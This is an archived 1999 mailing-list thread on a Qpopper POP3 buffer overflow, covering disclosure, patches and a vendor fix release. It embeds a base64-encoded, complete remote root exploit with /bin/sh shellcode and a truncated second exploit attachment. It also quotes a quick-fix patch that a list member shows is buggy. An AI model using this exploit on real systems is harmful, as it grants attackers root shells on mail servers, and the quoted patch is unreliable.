Content-Disposition: ATTACHMENT; FILENAME="q3smash.c"
LyoNCiAqIFFwb3BwZXIgMy4wYiByZW1vdGUgZXhwbG9pdCBmb3IgeDg2IExp
bnV4ICh0ZXN0ZWQgb24gUmVkSGF0LzIuMC4zOCkNCiAqDQogKiBEZWMgMTk5
OSBieSBNaXh0ZXIgPG1peHRlckBuZXd5b3Jrb2ZmaWNlLmNvbT4gLyBodHRw
Oi8vMTMzNy50c3gub3JnDQogKg0KICogRXhwbG9pdHMgcG9wX21zZyBidWZm
ZXIgb3ZlcmZsb3cgdG8gc3Bhd24gYSByZW1vdGUgcm9vdCBzaGVsbC4NCiAq
IFRoaXMgcHJvYmFibHkgd29ya3Mgd2l0aCB0aGUgb2xkIHFwb3AyIGNvZGUg
Zm9yIGJzZCwgc29sYXJpcyBhbnlvbmU/DQogKiANCiAqIFdBUk5JTkc6IFlP
VSBBUkUgVVNJTkcgVEhJUyBTT0ZUV0FSRSBPTiBZT1VSIE9XTiBSSVNLLiBU
SElTIElTIEENCiAqIFBST09GLU9GLUNPTkNFUFQgUFJPR1JBTSBBTkQgWU9V
IFRBS0UgRlVMTCBSRVNQT05TSUJJTElUWSBGT1IgV0hBVCBZT1UNCiAqIERP
IFdJVEggSVQhIERPIE5PVCBBQlVTRSBUSElTIEZPUiBJTExJQ0lUIFBVUlBP
U0VTIQ0KICovDQoNCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0
cmluZy5oPg0KI2luY2x1ZGUgPHVuaXN0ZC5oPg0KI2luY2x1ZGUgPHN0ZGxp
Yi5oPg0KI2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9z
b2NrZXQuaD4NCiNpbmNsdWRlIDxuZXRpbmV0L2luLmg+DQojaW5jbHVkZSA8
YXJwYS9pbmV0Lmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxl
cnJuby5oPg0KDQojZGVmaW5lIE5PUAkJMHg5MA0KI2RlZmluZSBMRU4JCTEw
MzINCiNkZWZpbmUgQ09ERVNUQVJUCTg4MA0KI2RlZmluZSBSRVQJCTB4YmZm
ZmQ2NTUNCg0KLyogeDg2IGxpbnV4IHNoZWxsY29kZS4gdGhpcyBjYW4gYmUg
YSBzaW1wbGUgZXhlY3ZlIHRvIC9iaW4vc2ggb24gYWxsDQogICBzeXN0ZW1z
LCBidXQgTVVTVCBOT1QgY29udGFpbiB0aGUgY2hhcmFjdGVycyAneDE3JyBv
ciAneDBjJyBiZWNhdXNlDQogICB0aGF0IHdvdWxkIHNwbGl0IHRoZSBleHBs
b2l0IGNvZGUgaW50byBzZXBhcmF0ZSBhcmcgYnVmZmVycyAgICAgICAgKi8N
Cg0KY2hhciAqc2hlbGxjb2RlID0NCiJceGViXHgyMlx4NWVceDg5XHhmM1x4
ODlceGY3XHg4M1x4YzdceDA3XHgzMVx4YzBceGFhXHg4OVx4ZjlceDg5XHhm
MFx4YWIiDQoiXHg4OVx4ZmFceDMxXHhjMFx4YWJceGIwXHgwNFx4MDRceDA3
XHhjZFx4ODBceDMxXHhjMFx4ODlceGMzXHg0MFx4Y2RceDgwIg0KIlx4ZThc
eGQ5XHhmZlx4ZmZceGZmL2Jpbi9zaCI7DQoNCnVuc2lnbmVkIGxvbmcgcmVz
b2x2ZSAoY2hhciAqKTsNCnZvaWQgdGVybSAoaW50LCBpbnQpOw0KdW5zaWdu
ZWQgbG9uZyBnZXRfc3AgKCk7DQoNCmludCANCm1haW4gKGludCBhcmdjLCBj
aGFyICoqYXJndikNCnsNCiAgY2hhciBidWZmZXJbTEVOXTsNCiAgY2hhciAq
Y29kZXB0ciA9IHNoZWxsY29kZTsNCiAgbG9uZyByZXRhZGRyID0gUkVUOw0K
ICBpbnQgaSwgczsNCiAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCg0KICBp
ZiAoYXJnYyA8IDIpDQogICAgew0KICAgICAgcHJpbnRmICgidXNhZ2U6ICVz
IDxob3N0PiBbb2Zmc2V0XVxuIiwgYXJndlswXSk7DQogICAgICBwcmludGYg
KCJ1c2Ugb2Zmc2V0IC0xIHRvIHRyeSBsb2NhbCBlc3BcbiIpOw0KICAgICAg
ZXhpdCAoMCk7DQogICAgfQ0KDQogIGlmIChhcmdjID4gMikNCiAgICB7DQog
ICAgICBpZiAoYXRvaSAoYXJndlsyXSkgPT0gLTEpDQoJew0KCSAgLyogODAw
MCA9IGFwcHJveC4gYnl0ZSBvZmZzZXQgdG8gcXBvcHBlcidzIHRvcCBvZiBz
dGFjaw0KCSAgICAgYXQgdGhlIHRpbWUgaXQgcHJpbnRzIG91dCB0aGUgYXV0
aCBlcnJvciBtZXNzYWdlICovDQoJICByZXRhZGRyID0gZ2V0X3NwICgpIC0g
ODAwMCAtIExFTjsNCgkgIHByaW50ZiAoIlVzaW5nIGxvY2FsIGVzcCBhcyBy
ZXQgYWRkcmVzcy4uLlxuIik7DQoJfQ0KICAgICAgcmV0YWRkciArPSBhdG9p
IChhcmd2WzJdKTsNCiAgICB9DQoNCiAgZm9yIChpID0gMDsgaSA8IExFTjsg
aSsrKQ0KICAgICooYnVmZmVyICsgaSkgPSBOT1A7DQoNCiAgZm9yIChpID0g
Q09ERVNUQVJUICsgMjsgaSA8IExFTjsgaSArPSA0KQ0KICAgICooaW50ICop
ICZidWZmZXJbaV0gPSByZXRhZGRyOw0KDQogIGZvciAoaSA9IENPREVTVEFS
VDsgaSA8IENPREVTVEFSVCArIHN0cmxlbiAoc2hlbGxjb2RlKTsgaSsrKQ0K
ICAgICooYnVmZmVyICsgaSkgPSAqKGNvZGVwdHIrKyk7DQoNCiAgYnVmZmVy
WzBdID0gJ0EnOw0KICBidWZmZXJbMV0gPSAnVSc7DQogIGJ1ZmZlclsyXSA9
ICdUJzsNCiAgYnVmZmVyWzNdID0gJ0gnOw0KICBidWZmZXJbNF0gPSAnICc7
DQoNCiAgcHJpbnRmICgicXBvcCAzLjAgcmVtb3RlIHJvb3QgZXhwbG9pdCAo
bGludXgpIGJ5IE1peHRlclxuIik7DQogIHByaW50ZiAoIltyZXR1cm4gYWRk
cmVzczogMHglbHggYnVmZmVyIHNpemU6ICVkIGNvZGUgc2l6ZTogJWRdXG4i
LA0KCSAgcmV0YWRkciwgc3RybGVuIChidWZmZXIpLCBzdHJsZW4gKHNoZWxs
Y29kZSkpOw0KDQogIGZmbHVzaCAoMCk7DQoNCiAgc2luLnNpbl9mYW1pbHkg
PSBBRl9JTkVUOw0KICBzaW4uc2luX3BvcnQgPSBodG9ucyAoMTEwKTsNCiAg
c2luLnNpbl9hZGRyLnNfYWRkciA9IHJlc29sdmUgKGFyZ3ZbMV0pOw0KICBz
ID0gc29ja2V0IChBRl9JTkVULCBTT0NLX1NUUkVBTSwgMCk7DQoNCiAgaWYg
KGNvbm5lY3QgKHMsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9m
IChzdHJ1Y3Qgc29ja2FkZHIpKSA8IDApDQogICAgew0KICAgICAgcGVycm9y
ICgiY29ubmVjdCIpOw0KICAgICAgZXhpdCAoMCk7DQogICAgfQ0KDQogIHN3
aXRjaCAod3JpdGUgKHMsIGJ1ZmZlciwgc3RybGVuIChidWZmZXIpKSkNCiAg
ICB7DQogICAgY2FzZSAwOg0KICAgIGNhc2UgLTE6DQogICAgICBmcHJpbnRm
IChzdGRlcnIsICJ3cml0ZSBlcnJvcjogJXNcbiIsIHN0cmVycm9yIChlcnJu
bykpOw0KICAgICAgYnJlYWs7DQogICAgZGVmYXVsdDoNCiAgICAgIGJyZWFr
Ow0KICAgIH0NCiAgd3JpdGUgKHMsICJcblxuIiwgMSk7DQogIHRlcm0gKHMs
IDApOw0KDQogIHJldHVybiAwOw0KfQ0KDQp1bnNpZ25lZCBsb25nDQpyZXNv
bHZlIChjaGFyICpob3N0KQ0Kew0KICBzdHJ1Y3QgaG9zdGVudCAqaGU7DQog
IHN0cnVjdCBzb2NrYWRkcl9pbiB0bXA7DQogIGlmIChpbmV0X2FkZHIgKGhv
c3QpICE9IC0xKQ0KICAgIHJldHVybiAoaW5ldF9hZGRyIChob3N0KSk7DQog
IGhlID0gZ2V0aG9zdGJ5bmFtZSAoaG9zdCk7DQogIGlmIChoZSkNCiAgICBt
ZW1jcHkgKChjYWRkcl90KSAmIHRtcC5zaW5fYWRkci5zX2FkZHIsIGhlLT5o
X2FkZHIsIGhlLT5oX2xlbmd0aCk7DQogIGVsc2UNCiAgICB7DQogICAgICBw
ZXJyb3IgKCJnZXRob3N0YnluYW1lIik7DQogICAgICBleGl0ICgwKTsNCiAg
ICB9DQogIHJldHVybiAodG1wLnNpbl9hZGRyLnNfYWRkcik7DQp9DQoNCnVu
c2lnbmVkIGxvbmcNCmdldF9zcCAodm9pZCkNCnsNCiAgX19hc21fXyAoIm1v
dmwgJWVzcCwgJWVheCIpOw0KfQ0KDQp2b2lkDQp0ZXJtIChpbnQgcCwgaW50
IGMpDQp7DQogIGNoYXIgYnVmW0xFTl07DQogIGZkX3NldCByZmRzOw0KICBp
bnQgaTsNCg0KICB3aGlsZSAoMSkNCiAgICB7DQogICAgICBGRF9aRVJPICgm
cmZkcyk7DQogICAgICBGRF9TRVQgKHAsICZyZmRzKTsNCiAgICAgIEZEX1NF
VCAoYywgJnJmZHMpOw0KICAgICAgaWYgKHNlbGVjdCAoKHAgPiBjID8gcCA6
IGMpICsgMSwgJnJmZHMsIE5VTEwsIE5VTEwsIE5VTEwpIDwgMSkNCglyZXR1
cm47DQogICAgICBpZiAoRkRfSVNTRVQgKGMsICZyZmRzKSkNCgl7DQoJICBp
ZiAoKGkgPSByZWFkIChjLCBidWYsIHNpemVvZiAoYnVmKSkpIDwgMSkNCgkg
ICAgZXhpdCAoMCk7DQoJICBlbHNlDQoJICAgIHdyaXRlIChwLCBidWYsIGkp
Ow0KCX0NCiAgICAgIGlmIChGRF9JU1NFVCAocCwgJnJmZHMpKQ0KCXsNCgkg
IGlmICgoaSA9IHJlYWQgKHAsIGJ1Ziwgc2l6ZW9mIChidWYpKSkgPCAxKQ0K
CSAgICBleGl0ICgwKTsNCgkgIGVsc2UNCgkgICAgd3JpdGUgKGMsIGJ1Ziwg
aSk7DQoJfQ0KICAgIH0NCn0NCg==
--8323328-493565404-943922963=:6421
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="qp3b20.patch"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.04.9911300149231.6421 at aviation dot net>
Content-Description:
Content-Disposition: ATTACHMENT; FILENAME="qp3b20.patch"
IyBhcHBseSB0aGlzIGluIHRoZSBxcG9wcGVyMy4wYjIwL3BvcHBlci8gZGly
ZWN0b3J5IHdpdGggcGF0Y2ggPCBxcDNiMjAucGF0Y2gNCi0tLSBwb3BfbXNn
LmMub2xkCU1vbiBOb3YgMjkgMjM6NDI6MDMgMTk5OQ0KKysrIHBvcF9tc2cu
YwlNb24gTm92IDI5IDIzOjUyOjA4IDE5OTkNCkBAIC02NSw3ICs2NSw3IEBA
DQogICAgIC8qICBBcHBlbmQgdGhlIG1lc3NhZ2UgKGZvcm1hdHRlZCwgaWYg
bmVjZXNzYXJ5KSAqLw0KICAgICBpZiAoZm9ybWF0KSB7DQogI2lmZGVmIEhB
VkVfVlBSSU5URg0KLSAgICAgICAgdnNwcmludGYobXAsZm9ybWF0LGFwKTsN
CisgICAgICAgIHZzbnByaW50ZihtcCxNQVhMSU5FTEVOIC0gMTAwLCBmb3Jt
YXQsYXApOw0KICNlbHNlDQogIyBpZmRlZiBQWVJBTUlEDQogCWFyZzEgPSB2
YV9hcmcoYXAsIGNoYXIgKik7DQpAQCAtNzQsOSArNzQsOSBAQA0KIAlhcmc0
ID0gdmFfYXJnKGFwLCBjaGFyICopOw0KIAlhcmc1ID0gdmFfYXJnKGFwLCBj
aGFyICopOw0KIAlhcmc2ID0gdmFfYXJnKGFwLCBjaGFyICopOw0KLSAgICAg
ICAgKHZvaWQpc3ByaW50ZihtcCxmb3JtYXQsIGFyZzEsIGFyZzIsIGFyZzMs
IGFyZzQsIGFyZzUsIGFyZzYpOw0KKyAgICAgICAgKHZvaWQpc3ByaW50Ziht
cCxNQVhMSU5FTEVOIC0gMTAwLCBmb3JtYXQsIGFyZzEsIGFyZzIsIGFyZzMs
IGFyZzQsIGFyZzUsIGFyZzYpOw0KICMgZWxzZQ0KLSAgICAgICAgKHZvaWQp
c3ByaW50ZihtcCxmb3JtYXQsKChpbnQgKilhcClbMF0sKChpbnQgKilhcClb
MV0sKChpbnQgKilhcClbMl0sDQorICAgICAgICAodm9pZClzcHJpbnRmKG1w
LE1BWExJTkVMRU4gLSAxMDAsIGZvcm1hdCwoKGludCAqKWFwKVswXSwoKGlu
dCAqKWFwKVsxXSwoKGludCAqKWFwKVsyXSwNCiAJCSAgICAgICgoaW50ICop
YXApWzNdLCgoaW50ICopYXApWzRdKTsNCiAjIGVuZGlmDQogI2VuZGlmDQo=
--8323328-493565404-943922963=:6421--
--1yeeQ81UyVL57Vl7--
Date: Tue, 30 Nov 1999 18:48:46 -0800
From: Qpopper Support <qpopper at qualcomm dot com>
Subject: Qpopper 3.0b21 available *FIXES BUFFER OVERRUN*
Qpopper 3.0b21 is available at
<ftp://ftp.qualcomm.com/eudora/servers/unix/popper/>.
Changes from 3.0b20 to 3.0b21
-----------------------------
1. Added file popper/banner.h -- modify this file to add a custom
banner and CAPA IMPLEMENTATION tag suffix. Note that if you
modify qpopper you should indicate this using banner.h.
2. Applied patch contributed by Vince Vielhaber to make use of
HOMEDIRMAIL easier (only need define it in popper.h, no need
to edit pop_dropcopy.c as well).
3. Made use of dot-locking (as well as flock) unconditional.
4. Moved flock.[ch] from /popper to /common. Added flock and maillock in
/common to Make files.
5. Corrected use of HAVE_MAILLOCK macro in pop_dropcopy.c and pop_updt.c to
HAVE_MAILLOCK_H to match what is in config.h.
6. Changed MAILOCK define to SYS_MAILLOCK in config.h,pop_dropcopy, and
pop_updt.c, to better reflect meaning.
7. Added FILE * parameter to our maillock() to allow for consistent logging
of errors. Added code to our maillock() to log errors.
8. Added logit.[ch] to /common and Makefile. This allows logging
independent of POP.
9. Modified pop_dropcopy and pop_updt to call either system maillock() or
our maillock().
10. Guarded popper.h with #ifndef _POPPER_H to avoid problems with multiple
#include "popper.h".
11. Fixed buffer overflow in pop_auth.c (reported by Elgin Lee).
Date: Tue, 30 Nov 1999 22:21:08 -0500
From: Tomasz Orzechowski <tmo at apk dot net>
Subject: Re: Qpopper 3.0b21 available *FIXES BUFFER OVERRUN*
Is the file on the ftp sever labelled as 'qpopper3.0b22.tar.Z' because
someone hacked ftp.qualcomm.com (running what apperas to be an old
wuftpd - Version wu-2.4.2-academ[BETA-13](2)) and monkied around with
it or is it something you guys did?
Qpopper Support wrote on Tue, Nov 30, 1999 at 06:48:46PM -0800:i
> Qpopper 3.0b21 is available at
> <ftp://ftp.qualcomm.com/eudora/servers/unix/popper/>.
>
> Changes from 3.0b20 to 3.0b21
> -----------------------------
>
> 1. Added file popper/banner.h -- modify this file to add a custom
> banner and CAPA IMPLEMENTATION tag suffix. Note that if you
> modify qpopper you should indicate this using banner.h.
> 2. Applied patch contributed by Vince Vielhaber to make use of
> HOMEDIRMAIL easier (only need define it in popper.h, no need
> to edit pop_dropcopy.c as well).
> 3. Made use of dot-locking (as well as flock) unconditional.
> 4. Moved flock.[ch] from /popper to /common. Added flock and maillock in
> /common to Make files.
> 5. Corrected use of HAVE_MAILLOCK macro in pop_dropcopy.c and pop_updt.c to
> HAVE_MAILLOCK_H to match what is in config.h.
> 6. Changed MAILOCK define to SYS_MAILLOCK in config.h,pop_dropcopy, and
> pop_updt.c, to better reflect meaning.
> 7. Added FILE * parameter to our maillock() to allow for consistent logging
> of errors. Added code to our maillock() to log errors.
> 8. Added logit.[ch] to /common and Makefile. This allows logging
> independent of POP.
> 9. Modified pop_dropcopy and pop_updt to call either system maillock() or
> our maillock().
> 10. Guarded popper.h with #ifndef _POPPER_H to avoid problems with multiple
> #include "popper.h".
> 11. Fixed buffer overflow in pop_auth.c (reported by Elgin Lee).
--
Tomasz Orzechowski tmo at apk dot net
APK.net systems administration team TO630
Date: Tue, 30 Nov 1999 22:21:43 -0500
From: Tomasz Orzechowski <tmo at apk dot net>
Subject: Re: Qpopper 3.0b21 available *FIXES BUFFER OVERRUN*
Oh, and many thanks for a quick response and a fix :)
Qpopper Support wrote on Tue, Nov 30, 1999 at 06:48:46PM -0800:i
> Qpopper 3.0b21 is available at
> <ftp://ftp.qualcomm.com/eudora/servers/unix/popper/>.
>
> Changes from 3.0b20 to 3.0b21
> -----------------------------
>
> 1. Added file popper/banner.h -- modify this file to add a custom
> banner and CAPA IMPLEMENTATION tag suffix. Note that if you
> modify qpopper you should indicate this using banner.h.
> 2. Applied patch contributed by Vince Vielhaber to make use of
> HOMEDIRMAIL easier (only need define it in popper.h, no need
> to edit pop_dropcopy.c as well).
> 3. Made use of dot-locking (as well as flock) unconditional.
> 4. Moved flock.[ch] from /popper to /common. Added flock and maillock in
> /common to Make files.
> 5. Corrected use of HAVE_MAILLOCK macro in pop_dropcopy.c and pop_updt.c to
> HAVE_MAILLOCK_H to match what is in config.h.
> 6. Changed MAILOCK define to SYS_MAILLOCK in config.h,pop_dropcopy, and
> pop_updt.c, to better reflect meaning.
> 7. Added FILE * parameter to our maillock() to allow for consistent logging
> of errors. Added code to our maillock() to log errors.
> 8. Added logit.[ch] to /common and Makefile. This allows logging
> independent of POP.
> 9. Modified pop_dropcopy and pop_updt to call either system maillock() or
> our maillock().
> 10. Guarded popper.h with #ifndef _POPPER_H to avoid problems with multiple
> #include "popper.h".
> 11. Fixed buffer overflow in pop_auth.c (reported by Elgin Lee).
--
Tomasz Orzechowski tmo at apk dot net
APK.net systems administration team TO630
Date: Tue, 30 Nov 1999 12:28:15 -0800
From: Elgin Lee <ehl at funghi dot com>
Subject: Re: serious Qpopper 3.0 vulnerability
I believe that the sample quick fix has a bug/typo. The intent (I think) is
to use snprintf() and vsnprintf(), but the patch changes the sprintf's
to snprintf calling conventions (length bound as second argument) while
keeping the name as sprintf. That presumably has awful results as
sprintf treats MAXLINELEN - 100 as a format string.
By the way, Nessus 0.91.1 identifies the vulnerability. I ran into
this problem late last Friday and alerted the qpopper maintainers.
--Elgin
On Tue, Nov 30, 1999 at 01:53:11AM +0100, Mixter wrote:
> # apply this in the qpopper3.0b20/popper/ directory with patch < qp3b20.patch
> --- pop_msg.c.old Mon Nov 29 23:42:03 1999
> +++ pop_msg.c Mon Nov 29 23:52:08 1999
> @@ -65,7 +65,7 @@
> /* Append the message (formatted, if necessary) */
> if (format) {
> #ifdef HAVE_VPRINTF
> - vsprintf(mp,format,ap);
> + vsnprintf(mp,MAXLINELEN - 100, format,ap);
> #else
> # ifdef PYRAMID
> arg1 = va_arg(ap, char *);
> @@ -74,9 +74,9 @@
> arg4 = va_arg(ap, char *);
> arg5 = va_arg(ap, char *);
> arg6 = va_arg(ap, char *);
> - (void)sprintf(mp,format, arg1, arg2, arg3, arg4, arg5, arg6);
> + (void)sprintf(mp,MAXLINELEN - 100, format, arg1, arg2, arg3, arg4, arg5, arg6);
> # else
> - (void)sprintf(mp,format,((int *)ap)[0],((int *)ap)[1],((int *)ap)[2],
> + (void)sprintf(mp,MAXLINELEN - 100, format,((int *)ap)[0],((int *)ap)[1],((int *)ap)[2],
> ((int *)ap)[3],((int *)ap)[4]);
> # endif
> #endif
Date: Tue, 30 Nov 1999 21:32:29 -0800
From: Qpopper Support <qpopper at qualcomm dot com>
Subject: Re: Qpopper 3.0b21 available *FIXES BUFFER OVERRUN*
At 10:21 PM -0500 11/30/99, Tomasz Orzechowski wrote:
> Is the file on the ftp sever labelled as 'qpopper3.0b22.tar.Z' because
Oops! Sorry about that. The script I use to generate releases still
has one manual element -- I have to type the beta version in. I
accidently typed '22' instead of '21'. I renamed the file just now.
--
Randall Gellens Randy at Pensive dot Org
---------------------- (randomly-selected tag) ---------------------
Customer: "I'm running Windows '98"
Tech: "Yes."
Customer: "My computer isn't working now."
Tech: "Yes, you said that."
From: Elgin Lee <ehl at funghi dot com>
Date: Tue, 30 Nov 1999 22:11:15 -0800 (PST)
Subject: Re: Qpopper 3.0b21 available *FIXES BUFFER OVERRUN*
Well, the tar file is renamed -- but it still unpacks into the
'qpopper3.0b22' directory.
--Elgin
>>>>> In <358257464559866282919 at lists.pensive dot org>
>>>>> Qpopper Support <qpopper at qualcomm dot com> wrote:
> At 10:21 PM -0500 11/30/99, Tomasz Orzechowski wrote:
>
> > Is the file on the ftp sever labelled as 'qpopper3.0b22.tar.Z' because
>
> Oops! Sorry about that. The script I use to generate releases still
> has one manual element -- I have to type the beta version in. I
> accidently typed '22' instead of '21'. I renamed the file just now.
Date: Wed, 1 Dec 1999 16:39:22 +0800 (CST)
From: Balgansuren <balgaa at mtcone dot net>
Subject: How to change banner message of qpopper
Hello,
I am interesting to change following banner message:
+OK QPOP (version 3.0b21) at hostname starting.<27161 dot 944036661@hostname>
to something sample:
POP3 server at hostname starting.
There is any possibility to change this message?
Best Regards
Balgansuren
System Engineer
Micom Co., Ltd
Phone:976-1-318360
Fax:976-1-318360
E-mail:balgaa at micom.mng dot net
On Tue, 30 Nov 1999, Qpopper Support wrote:
> At 10:21 PM -0500 11/30/99, Tomasz Orzechowski wrote:
>
> > Is the file on the ftp sever labelled as 'qpopper3.0b22.tar.Z' because
>
> Oops! Sorry about that. The script I use to generate releases still
> has one manual element -- I have to type the beta version in. I
> accidently typed '22' instead of '21'. I renamed the file just now.
>
> --
> Randall Gellens Randy at Pensive dot Org
> ---------------------- (randomly-selected tag) ---------------------
> Customer: "I'm running Windows '98"
> Tech: "Yes."
> Customer: "My computer isn't working now."
> Tech: "Yes, you said that."
>
Date: Wed, 1 Dec 1999 09:14:19 -0800
From: Qpopper Support <qpopper at qualcomm dot com>
Subject: Re: Qpopper 3.0b21 available *FIXES BUFFER OVERRUN*
At 10:11 PM -0800 11/30/99, Elgin Lee wrote:
> Well, the tar file is renamed -- but it still unpacks into the
> 'qpopper3.0b22' directory.
Fixed now. Sorry.
Date: Wed, 1 Dec 1999 09:17:17 -0800
From: Qpopper Support <qpopper at qualcomm dot com>
Subject: Re: How to change banner message of qpopper
At 4:39 PM +0800 12/1/99, Balgansuren wrote:
> I am interesting to change following banner message:
> +OK QPOP (version 3.0b21) at hostname starting.<27161 dot 944036661@hostname>
>
> to something sample:
>
> POP3 server at hostname starting.
>
> There is any possibility to change this message?
Having a flag to not show the version is on the to-do list. In the
meantime, you can edit the file popper/version.h and replace the
version string with an empty string.
Date: Wed, 1 Dec 1999 11:28:44 -0600
From: Gael Martinez <mgc at mgc.spacestar dot net>
Subject: Re: Qpopper 3.0b21 available *FIXES BUFFER OVERRUN*
you forgot something ;))
Escape character is '^]'.
+OK QPOP (version 3.0b22)
On Wed, Dec 01, 1999 at 09:14:19AM -0800, Qpopper Support wrote:
> At 10:11 PM -0800 11/30/99, Elgin Lee wrote:
>
> > Well, the tar file is renamed -- but it still unpacks into the
> > 'qpopper3.0b22' directory.
>
> Fixed now. Sorry.
--
Gael MARTINEZ
Spacestar Communications, Inc.
Dial-up to DS-3 Serving - MN WI ND MI IL
www.spacestar.net / Fax (612) 996-0123
From: Elgin Lee <ehl at funghi dot com>
Date: Wed, 1 Dec 1999 09:49:25 -0800 (PST)
Subject: Re: Qpopper 3.0b21 available *FIXES BUFFER OVERRUN*
The BUGTRAQ response cited the bug as being fixed in 3.0b22 as well.
Perhaps 3.0b21 should be considered part of the lost generation...
--Elgin
>>>>> In <191541183334719272491 at lists.pensive dot org>
>>>>> Gael Martinez <mgc at mgc.spacestar dot net> wrote:
> you forgot something ;))
>
> Escape character is '^]'.
> +OK QPOP (version 3.0b22)
Date: Wed, 1 Dec 1999 09:57:09 -0800
From: Elgin Lee <ehl at funghi dot com>
Subject: [lucid at TERRA.NEBULA dot ORG: qpop3.0b20 and below - notes and exploit]
--hQiwHBbRI9kgIhsi
Content-Type: text/plain; charset=us-ascii
FYI, another claimed buffer overrun and exploit, posted to BUGTRAQ.
--Elgin
--hQiwHBbRI9kgIhsi
Content-Type: message/rfc822
Return-Path: <BUGTRAQ at SECURITYFOCUS dot COM>
Received: from localhost (localhost [127.0.0.1])
by porcini.funghi.com (8.9.3/8.9.3) with ESMTP id JAA01467
for <ehl@localhost>; Wed, 1 Dec 1999 09:29:55 -0800
Received: from mail.via.net
by localhost with POP3 (fetchmail-5.1.0)
for ehl@localhost (single-drop); Wed, 01 Dec 1999 09:29:55 -0800 (PST)
Received: from lists.securityfocus.com [207.126.127.68] (HELO lists.securityfocus.com)
by mail.via.net (8.9.3/8.9.3) via ESMTP
id <JAA91687-owner-bugtraq at SECURITYFOCUS dot COM> for <ehl at FUNGHI dot COM>;
Wed, 1 Dec 1999 09:26:17 -0800 (PST)
Received: from lists.securityfocus.com (lists.securityfocus.com [207.126.127.68])
by lists.securityfocus.com (Postfix) with ESMTP
id 5B61A1F4D8; Wed, 1 Dec 1999 08:50:59 -0800 (PST)
Received: from LISTS.SECURITYFOCUS.COM by LISTS.SECURITYFOCUS.COM
(LISTSERV-TCP/IP release 1.8d) with spool id 506950 for
BUGTRAQ at LISTS.SECURITYFOCUS dot COM; Wed, 1 Dec 1999 08:50:04 -0800
Approved-By: aleph1 at SECURITYFOCUS dot COM
Delivered-To: bugtraq at lists.securityfocus dot com
Received: from securityfocus.com (securityfocus.com [207.126.127.66]) by
lists.securityfocus.com (Postfix) with SMTP id EA4A520090 for
<bugtraq at lists.securityfocus dot com>; Tue, 30 Nov 1999 11:20:10 -0800
(PST)
Received: (qmail 21468 invoked by alias); 30 Nov 1999 19:20:10 -0000
Delivered-To: BUGTRAQ at SECURITYFOCUS dot COM
Received: (qmail 21465 invoked from network); 30 Nov 1999 19:20:10 -0000
Received: from terra.nebula.org (root at 209.125.41 dot 2) by securityfocus.com with
SMTP; 30 Nov 1999 19:20:10 -0000
Received: from localhost (lucid at localhost) by terra.nebula.org (8.9.3/8 dot 8 dot 7)
with ESMTP id PAA29664; Tue, 30 Nov 1999 15:25:30 -0500
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="2110849577-815205743-943993525=:26891"
Message-ID: <Pine.LNX.4.10.9911301500310.26891-200000 at terra.nebula dot org>
Date: Tue, 30 Nov 1999 15:25:25 -0500
Reply-To: Lucid Solutions <lucid at TERRA.NEBULA dot ORG>
Sender: Bugtraq List <BUGTRAQ at SECURITYFOCUS dot COM>
From: Lucid Solutions <lucid at TERRA.NEBULA dot ORG>
Subject: qpop3.0b20 and below - notes and exploit
X-To: BUGTRAQ at SECURITYFOCUS dot COM, eudora-custserv at eudora dot com
To: BUGTRAQ at SECURITYFOCUS dot COM
X-UIDL: 631d7f3495fd75085bd003b750fb275a
This message is in MIME format. The first part should be readable text,
while the remaining parts are likely unreadable without MIME-aware tools.
Send mail to mime at docserver.cac.washington dot edu for more info.
--2110849577-815205743-943993525=:26891
Content-Type: TEXT/PLAIN; charset=US-ASCII
I found this overflow myself earlier this month. Seems someone
else recently found it before Qualcomm was able to issue a patch. The 2.x
series is not vunlnerable because AUTH is not yet supported and the error
returned by attempting to use AUTH does not call pop_msg() with any user
input.
There is also another overflow besides the AUTH overflow which can
occur if a valid username and password are first entered also occuring in
pop_msg().
pop_get_subcommand.c contains this line near the bottom in qpopper3.0b20:
pop_msg(p,POP_FAILURE,
"Unknown command: \"%s %s\".",p->pop_command,p->pop_subcommand);
No bounds checking is done on the attempted subcommand. It is
interesting to note that in qpop 2.53, a similar line is used, but with
limits on the string length!
pop_msg(p,POP_FAILURE,
"Unknown command: \"%.128s %.128s\".",p->pop_command,
p->pop_subcommand);
I guess Qualcomm did not continue development of Qpopper directly from the
2.53 series, but rewrote code from scratch and/or based it on earlier
code.
As a solution, pop_msg() should also do bounds checking, and not make the
calling line responsible for it (althought that's good practice too).
Attached is my original exploit that works on *BSD and Linux. (Solaris is
NOT vulnerable to the AUTH overflow). Slight modification is needed on
one line as the comments say. This exploit will actually work on the
majority of machines then. Qualcomm: you have already received my working
exploit with no modification needed.
Let's hope for an official patch soon.
- sk8 at lucid-solutions dot com
http://www.lucid-solutions.com
--2110849577-815205743-943993525=:26891
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="q3combo-public.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.10.9911301525250.26891 at terra.nebula dot org>
Content-Description:
Content-Disposition: attachment; filename="q3combo-public.c"
LyogUVBPUCB2ZXJzaW9uIDMuMGIyMCBhbmQgbG93ZXIgYmV0YSB2ZXJzaW9u
cyBSRU1PVEUgRVhQTE9JVA0KICogY29tYmluYXRpb24gKkJTRCBhbmQgTGlu
dXgNCiAqDQogKiBzazhAbHVjaWQtc29sdXRpb25zLmNvbQ0KICogaHR0cDov
L3d3dy5sdWNpZC1zb2x1dGlvbnMuY29tDQogKg0KICogSSBoYXZlIHdyaXR0
ZW4gdGhpcyB0byB0ZXN0IGFuZCBkZW1vbnN0cmF0ZSB2dWxuZXJhYmlsaXRp
ZXMgb24gY2xpZW50cycgDQogKiBzeXN0ZW1zIG9ubHkuICANCiAqDQogKiAh
ISEhISEhISEhRE8gTk9UIGRpc3RyaWJ1dGUhISEhISEhISEhDQogKiAoYXQg
bGVhc3Qgbm90IHVudGlsIFF1YWxjb21tIGlzc3VlcyBhIHBhdGNoKQ0KICog
DQogKiBZb3UgbWF5IG9ubHkgdXNlIHRoaXMgdG8gdGVzdCB5b3VyIG93biBz
